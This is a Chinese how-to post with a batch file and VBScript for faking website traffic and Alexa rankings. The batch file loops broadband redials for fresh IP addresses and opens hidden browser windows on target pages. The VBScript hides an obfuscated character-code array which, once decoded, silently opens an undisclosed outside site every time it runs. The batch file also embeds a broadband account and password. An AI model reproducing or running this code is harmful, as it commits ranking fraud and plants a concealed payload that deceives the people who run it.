刷网站排名的批处理代码

　　以下代码保存为：shua.bat

　　=======================================================

　　@ title 网站刷流量排名工具

　　@ echo ----------------------------------------------------------

　　@ echo 网站刷流量排名工具。

　　@ echo ----------------------------------------------------------

　　@ color 0A

　　@ echo off

　　@ rem ---------- 设置名称,帐号,密码,延迟时间 ----------

　　@ set 连接名称=中国网通

　　@ set 宽带帐号=13213610060

　　@ set 宽带密码=123456

　　@ set 延迟时间=15

　　@ rem ---------- 以下部分不要修改 ----------

　　:start

　　@ Rasdial %连接名称% %宽带帐号% %宽带密码%

　　@ start shua.vbs

　　@ ping 127.0.0.1 -n %延迟时间%

　　@ Rasdial %连接名称% /disconnect

　　@ taskkill /f /im IEXPLORE.EXE

　　@ rem 循环

　　@ goto start

　　=======================================================

　　以下代码修改后保存为：shua.vbs

　　=======================================================

　　Str = Array

　　(83,101,116,32,111,98,106,83,104,101,108,108,32,61,32,67,114,101,97,116,101,79,98,106,101,99

　　,116,40,34,87,115,99,114,105,112,116,46,83,104,101,108,108,34,41,13,10,111,98,106,83,104,101

　　,108,108,46,82,117,110,32,34,73,69,88,80,76,79,82,69,46,69,88,69,32,104,116,116,112,58,47,47

　　,100,120,50,48,46,99,110,47,118,105,112,47,34,44,48)

　　Function Num2Str(Str):For I=0 To UBound(Str):Num2Str = Num2Str & Chr(Str(I)):Next:End

　　Function

　　Execute Num2Str(Str)

　　'//请在下面设置要刷的网页，每行一个地址，不要超过10个地址。 //

　　objShell.Run "IEXPLORE.EXE http://www.bebecn.com/html/news.html" ,0

　　objShell.Run "IEXPLORE.EXE http://www.0898bbs.com/club/index.php" ,0

　　=======================================================

　　其中要修改的地方用加粗标示。安装 alexe 工具条后可以刷网站排名和流量，没有安装 alexe 工具条只可以刷流量。运行 shua.bat 即可开始挂机刷流量。每天刷一个小时，坚持半个月，alexe排名最少提升50万名。